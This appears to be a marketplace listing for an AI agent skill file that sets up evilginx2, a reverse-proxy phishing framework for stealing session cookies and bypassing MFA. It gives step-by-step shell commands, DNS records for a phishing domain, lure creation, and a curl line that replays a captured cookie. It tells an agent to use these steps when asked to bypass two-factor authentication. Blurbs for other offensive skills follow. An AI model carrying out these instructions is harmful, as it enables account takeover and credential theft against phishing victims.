offensive-tools/social-engineering/evilginx2/SKILL.md
Man-in-the-middle phishing proxy that captures session cookies and bypasses MFA/2FA by proxying real login pages. Use when asked to bypass two-factor authentication via phishing, capture session tokens, perform adversary-in-the-middle (AiTM) attacks, or set up a reverse-proxy phishing site.
npx skillsauth add aeondave/malskill evilginx2Install this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Reverse-proxy phishing framework that captures session cookies — bypasses OTP, push, and FIDO2 MFA.
Unlike GoPhish (clone page), Evilginx2 proxies the real site. The victim interacts with the legitimate service; Evilginx captures the authenticated session cookie and credentials in transit.
# Start evilginx2
evilginx2
# Inside evilginx shell:
config domain phish.example.com
config ip 1.2.3.4
phishlets hostname office365 login.phish.example.com
phishlets enable office365
lures create office365
lures get-url 0
Before starting, add DNS records for your domain:
A @ 1.2.3.4 (VPS IP)
A * 1.2.3.4 (wildcard for phishlets)
NS ns1 1.2.3.4
NS ns2 1.2.3.4
| Command | Description |
|---------|-------------|
| config domain <domain> | Set operator domain |
| config ip <ip> | Set phishing server IP |
| phishlets | List available phishlets |
| phishlets hostname <name> <hostname> | Assign hostname to phishlet |
| phishlets enable <name> | Enable phishlet (starts proxy + gets cert) |
| phishlets disable <name> | Disable phishlet |
| lures create <phishlet> | Create a lure (unique phishing URL) |
| lures get-url <id> | Get the phishing URL |
| lures | List all lures |
| sessions | List captured sessions |
| sessions <id> | Show session details (tokens, creds) |
Built-in: office365, google, linkedin, facebook, outlook, github, okta, discord, and more.
Custom phishlets can be added to ~/.evilginx/phishlets/.
1. Victim clicks lure URL
2. Evilginx proxies real service → TLS terminated at Evilginx
3. Victim authenticates (including MFA)
4. Evilginx captures: cookies, credentials, tokens
5. Redirect victim to legitimate site (seamless)
6. Attacker uses captured cookies in browser (no MFA needed)
# Inside evilginx
sessions 1 # Show session 1 — copy the auth token/cookie
# Import cookie into browser with EditThisCookie or Cookie-Editor extension
# Or use curl:
curl -H "Cookie: <captured_cookie>" https://target.service.com/api/...
| File | When to load |
|------|--------------|
| references/phishlets.md | Phishlet YAML syntax, custom phishlet creation, bypass detection |
data-ai
Scoped routing: Linux operator; hosts, sessions, users, services, packages, logs, containers, SSH, network paths, privilege evidence.
development
Offensive methodology for ICS/OT/SCADA environments in authorized industrial penetration testing and red team operations. Use when assessing PLCs, RTUs, HMIs, engineering workstations, historians, or field devices running Modbus, DNP3, EtherNet/IP, S7comm/S7+, Profinet, IEC 60870-5-104, BACnet, or OPC-UA. Covers passive OT network enumeration, protocol-level device interrogation, PLC coil/register read-write attacks, HMI session exploitation, historian and engineering workstation compromise, and safe escalation rules for critical infrastructure scope. Does not cover: general IT network exploitation (network-technique), physical hardware interfaces UART/JTAG/SPI (hardware-technique), wireless sensor network attacks (wireless-technique), RF/SDR signal analysis (hardware-ctf or wireless-technique), or CTF-framed ICS lab tasks (ics-ctf).
tools
Offensive methodology for authorized game security assessments, game client security research, and game-adjacent penetration testing in real-world engagements. Use when assessing game clients for cheating vulnerabilities, testing anti-cheat effectiveness, auditing game server protocols for score manipulation or economic fraud, reverse engineering game DRM or license validation, analyzing game save file protection, or assessing game mod/plugin security. Covers: process memory scanning and manipulation (Cheat Engine methodology), game binary reversing for license and DRM bypass, game network protocol analysis and packet replay, anti-cheat mechanism analysis, save file format reversing and tampering, speed hack and value injection techniques. Does NOT cover: CTF game challenges (game-ctf), game engine source code auditing (web-exploit-technique or vuln-search-technique for the backend), or general binary exploitation (pwn-ctf or reversing-technique).
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.